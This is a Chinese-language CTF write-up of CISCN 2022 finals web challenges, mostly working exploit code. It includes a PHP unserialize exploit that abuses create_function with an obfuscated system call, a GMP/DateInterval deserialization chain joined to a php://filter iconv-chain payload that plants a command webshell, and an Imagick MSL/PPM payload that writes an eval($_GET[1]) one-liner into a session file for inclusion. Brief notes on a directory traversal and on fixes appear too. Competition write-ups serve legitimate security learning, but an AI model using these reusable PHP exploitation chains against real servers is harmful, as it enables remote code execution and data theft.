CISCN2022 总决赛部分题解
最后rank22 勉强一等 被大佬们出的题爆杀 不过学到很多有意思的东西
# web_unserialize_game
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
highlight_file("index.php");
class Game
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a,$b);
$a("", $b);
}
private function check($a,$b)
{
if (preg_match_all("(eval|dl|ls|p|escape|er|str|cat|flag|file|ay|or|ftp|dict|\.\.|h|w|exec|s|open)", $a) > 0) die("Hacker!");
if (preg_match_all("(find|filter|c|pa|proc|dir|regexp|n|alter|load|grep|o|file|t|w|insert|sort|h|sy|\.\.|array|sh|touch|e|php)", $b) > 0) die("fl4g?");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
很显然destruct有漏洞,没想到fix直接把$a("", $b);
ban了就行
利用的话,首先fuzz了一遍defined_function
<?php
$funcs = get_defined_functions();
foreach($funcs as $func_group){
foreach($func_group as $func){
if(check($func,"")) {
var_dump($func);
//new Game($func,"");
}
}
}
2
3
4
5
6
7
8
9
10
11
发现比较好的就剩create_function了
create_function 会匿名创建一个函数,函数名从lambda_1开始算起
有个坑点是,fpm下php好像每次都会递增函数名数字,且前面的函数会失效,一开始爆太多,后面根本不知道序号到哪了,重置了下环境才打出来
最终exp是
import requests
from urllib.parse import quote
url = "http://10.10.56.16"
proxy = {"http":"http://127.0.0.1:8080"}
def exp(func,func_name):
poc = f"a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Game%22%3A2%3A%7Bs%3A7%3A%22%00Game%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A{len(func)}%3A%22{quote(func)}%22%3B%7Di%3A1%3BO%3A4%3A%22Game%22%3A2%3A%7Bs%3A7%3A%22%00Game%00a%22%3Bs%3A{len(func_name)}%3A%22{quote(func_name)}%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A0%3A%22%22%3B%7D%7D"
res = requests.get(url+"?p="+poc
#,proxies=proxy
)
#print(res.text)
if "Call to undefined" not in res.text:
print("sucess")
print(res.text)
return True
return False
func = '$xx="s\\x79s\\x74\\x65m";$xx("\\x63a\\x74 /fl4g1");'
#func = '$xx="s\\x79s\\x74\\x65m";$xx("l\\x73 / -al");'
func_name = "\x00lambda_22"
#exp(func,func_name)
i = 100
while True:
#i += 1
#print(i)
if exp(func,f"\x00lambda_{i}"):
print(i)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# web_just (break复现)
出题人仓库 https://github.com/zhcy2018/ciscn2022-build/
首先是gmp的问题,恰巧比赛前存资料的时候看到有gmp
https://paper.seebug.org/1909/
有两个trick比赛的时候没有考虑到,一个是内联注释绕过函数匹配正则,一个是require()也可以动态执行,那么就可以使用陆队的lfi大法
照着出题人的wp复现了一下,exp如下
import requests
import base64
# <?=`$_GET[0]`;;?>
def php_lfi(base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"):
#参数file
file_to_use = "/etc/passwd"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
session = requests.session()
#burp0_url = "http://10.10.56.23/"
url = "http://127.0.0.1:8889"
poc = f"require/**/({php_lfi()})"
poc = '{pboot:if(date(%s))}(123123){/pboot:if}' % poc.encode()
poc = f"s:{len(poc)}:\"{poc}\";"
inner = 's:1:"1";a:2:{s:4:"head";'+poc+'i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
poc = 'a:1:{i:0;C:3:"GMP":'+str(len(inner))+':{'+inner+'}}'
poc = poc.encode()
poc = base64.b64encode(poc).decode()
#poc = "YToxOntpOjA7QzozOiJHTVAiOjEyNzp7czoxOiIxIjthOjI6e3M6NDoiaGVhZCI7czo1NDoie3Bib290OmlmKGRhdGUoInN5cyIuInRlbSIoImxzIikpKX0oMTIzMTIzKXsvcGJvb3Q6aWZ9IjtpOjA7TzoxMjoiRGF0ZUludGVydmFsIjoxOntzOjE6InkiO1I6Mjt9fX19"
cookies = {"PHPSESSION": "1vlg7sj1r4h2sffk5b7paqgp32", "ser_data": poc}
headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Chromium\";v=\"103\", \".Not/A)Brand\";v=\"99\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://localhost:2333", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://localhost:2333/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
data = {"num1": "123", "num2": "123", "submit1": "\xe8\xae\xa1\xe7\xae\x97"}
res = session.post(url,params={"0":"/readflag"}, headers=headers, cookies=cookies, data=data)
print(res.text)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
fix就是把eval逻辑关了
# web_so_easy_4_u
盲测发现avatar地址存在目录穿越,直接读flag即可
# web_backdoor (break复线)
出题人仓库 https://github.com/AFKL-CUIT/CTF-Challenges/tree/master/CISCN/2022/backdoor
之前看过 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 这篇文章,可惜没细究 只知道 imagick解析构造的msl文件能写php马
不过这题如果通过upload_progress在前面写session文件的话,msl没法解析带upload_progress头的session文件,因此这条路走不通。而且即使爆破解析了,由于webroot目录不可写,还是不能执行,只能从include走。
事实上,在使用php session时,session本身就是序列化存储的,因此对session的访问或修改会触发序列化,也就会触发__sleep,然而这又带来一个问题就是,解析msl转换文件时,前后有垃圾字符。
出题的师傅找的了新的文件格式ppm,好处是前后不会有字符问题
payload如下
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjg6ImJhY2tkb29yIjoyOntzOjQ6InBhdGgiO3M6MTM6Ii90bXAvc2Vzc19la2kiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30="/>
<write filename="/tmp/sess_eki" />
</image>
2
3
4
5
其中就包括了一句话,到时候__sleep触发,也include这个文件
然后imageick支持通配符 vid:msl:/tmp/php*
就能匹配到上传的临时文件,然后再尝试包含就行
import requests as r
import threading
#content = payload
#payload = "123456"
url = "http://127.0.0.1:8890"
payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjg6ImJhY2tkb29yIjoyOntzOjQ6InBhdGgiO3M6MTM6Ii90bXAvc2Vzc19la2kiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30="/>
<write filename="/tmp/sess_eki" />
</image>
"""
#rm
res = r.get(f"{url}/index.php?cmd=rm")
#upload and convert
data = 'O:8:"backdoor":3:{s:14:"\x00backdoor\x00argv";s:17:"vid:msl:/tmp/php*";s:15:"\x00backdoor\x00class";s:7:"imagick";s:12:"do_exec_func";b:0;}'
res = r.post(f"{url}/index.php",files={"submit":("test.msl",payload,"text/plain")},params={"cmd":"unserialze","data":data})
# trigger __sleep and include
data = 'O:8:"backdoor":2:{s:5:"class";s:13:"session_start";s:12:"do_exec_func";b:1;}'
res = r.post(f"{url}/index.php?1=system('/readflag')",data={"cmd":"unserialze","data":data},headers={"Cookie":"PHPSESSID=eki"})
print(res.text)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# webhoutai
fix 把俩child_process修了就行
# 即将上线的项目
$name($content)
命令执行,break没啥好说的
fix 存点提示后续看看能不能写个相关的通防
防御:黑客不会写马,也不存在任何写文件操作。但是由于项目中无法禁止system函数,因此黑客攻击流量混在正常命令执行中,check中会执行各种各样的命令来保证项目的正常运转,需要提醒的是,system函数被禁用是会导致check不过的,系统中存在各种各样的项目自建文件,但真正的flag文件只在/目录下。我们的目标是绝对不可以让黑客获取到真正的flag文件,所以你会怎么修补呢?
web_即将上线的项目 流量篡改。
# web-flasf
fix 就是加强下前面的username和password过滤
最后urlopen把flag拦截了
待复现